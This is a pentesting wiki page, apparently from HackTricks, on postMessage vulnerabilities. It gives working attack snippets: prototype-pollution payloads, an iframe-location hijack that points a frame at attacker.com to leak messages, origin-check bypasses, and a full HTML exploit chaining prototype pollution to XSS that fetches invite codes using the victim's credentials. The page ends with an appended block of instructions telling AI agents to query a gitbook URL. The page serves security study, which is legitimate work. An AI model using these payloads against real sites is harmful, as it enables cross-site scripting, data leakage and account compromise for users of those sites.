# PostMessage Vulnerabilities

## PostMessage Vulnerabilities

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Send **PostMessage**

**PostMessage** uses the following function to send a message:

```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```

Note that **targetOrigin** can be a '\*' or an URL like *<https://company.com>.*\
In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\
If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.

### Attacking iframe & wildcard in **targetOrigin**

As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.

```markup
<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s
      
      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>
```

## addEventListener exploitation

**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
A code similar to the following one will be used:

```javascript
window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);
```

Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).

### Enumeration

In order to **find event listeners** in the current page you can:

* **Search** the JS code for `window.addEventListener` and `$(window).on` (*JQuery version*)
* **Execute** in the developer tools console: `getEventListeners(window)`

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(618\)%20\(1\)%20\(1\).png)

* **Go to** *Elements --> Event Listeners* in the developer tools of the browser

![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(617\).png)

* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or <https://github.com/fransr/postMessage-tracker>. This browser extensions will **intercept all the messages** and show them to you.

### check origin basic bypasses

* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\
  In regular expression, **a dot (.) is treated as a wildcard**. An attacker can take advantage of it and **use** a **special domain** instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties** of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.

```javascript
// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```

`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.

### Bypassing e.origin == window\.origin

When a page is embedded in a **sandboxed iframe** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` the **origin** of that **iframe** will be **`null`**.

When the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.

Therefore, if you open a **sandboxed iframe** allowing popups, and then you **opens a popup** from inside the iframe, and **send a postMessage** from the iframe **to the popup**, both origins are null so: **`e.origin == window.origin == null`**

For more information **read**:

{% content-ref url="/pages/Cw6lXPn6mCtqtQ5BuMua" %}
[Bypassing SOP with Iframes - 1](/dashboard/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}

### Bypassing e.source

You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.

For more information **read:**

{% content-ref url="/pages/Mh1f4i1xgERnlp0YVzc1" %}
[Bypassing SOP with Iframes - 2](/dashboard/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}

### X-Frame-Header bypass

In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:

```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```

### Stealing message sent to child by blocking the main page

In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:

{% content-ref url="/pages/WTsLYIEjtHohjvOcYmoQ" %}
[Blocking main page to steal postmessage](/dashboard/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}

### Stealing message by modifying iframe location

if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:

{% content-ref url="/pages/8zElHQSmtm2ZPs98exFd" %}
[Steal postmessage modifying iframe location](/dashboard/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}

### postMessage to Prototype Pollution and/or XSS

In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.

A couple of **very good explained XSS though `postMessage`** can be found in <https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html>

Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:

```markup
<html>
<body>
    <iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
        function get_code() {
            document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
            document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
        }

        setTimeout(get_code, 2000);
    </script>
</body>
</html>
```

For **more information**:

* Link to page about [**prototype pollution**](/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md)
* Link to page about [**XSS**](/dashboard/pentesting-web/xss-cross-site-scripting.md)
* Link to page about [**client side prototype pollution to XSS**](/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md#client-side-prototype-pollution-to-xss)

## References

* <https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html>
* <https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd>
* To practice: <https://github.com/yavolo/eventlistener-xss-recon>

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/pentesting-web/postmessage-vulnerabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
